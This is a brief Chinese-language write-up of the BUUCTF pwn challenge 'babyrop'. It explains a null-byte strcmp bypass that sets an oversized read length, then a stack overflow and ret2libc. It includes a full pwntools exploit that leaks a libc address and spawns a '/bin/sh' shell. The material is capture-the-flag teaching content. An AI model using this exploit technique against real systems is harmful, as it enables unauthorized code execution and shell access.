BUUCTF|【BUUCTF - PWN】babyrop

【BUUCTF|【BUUCTF - PWN】babyrop】checksec一下,可以栈溢出
BUUCTF|【BUUCTF - PWN】babyrop
文章图片

IDA打开看看,读取随机数作为参数传入函数中
BUUCTF|【BUUCTF - PWN】babyrop
文章图片

读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节,可以通过输入 \0 绕过字符串比较
BUUCTF|【BUUCTF - PWN】babyrop
文章图片

返回的字节作为read的长度,buf只有231字节,可以通过传入255来栈溢出,然后就是标准的ret2libc了
BUUCTF|【BUUCTF - PWN】babyrop
文章图片

from pwn import * from LibcSearcher import *context.os='linux' context.arch='i386' context.log_level='debug'sl=lambda x:io.sendline(x) rl=lambda :io.recvline()io=remote('xxx',xxx) elf=ELF('./pwn') libc=ELF('./libc-2.23.so')main=0x8048825payload='\0'*7+'\255' sl(payload) rl() payload='a'*(0xe7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['write'])+p32(4) sl(payload) write_addr=u32(io.recv(4)) libc_addr=write_addr-libc.sym['write'] payload='\0'*7+'\255' sl(payload) rl() payload='a'*(0xe7+4)+p32(libc_addr+libc.symbols['system'])+p32(0)+p32(libc_addr+libc.search('/bin/sh\0').next()) sl(payload)io.interactive()

附件:babyrop

    推荐阅读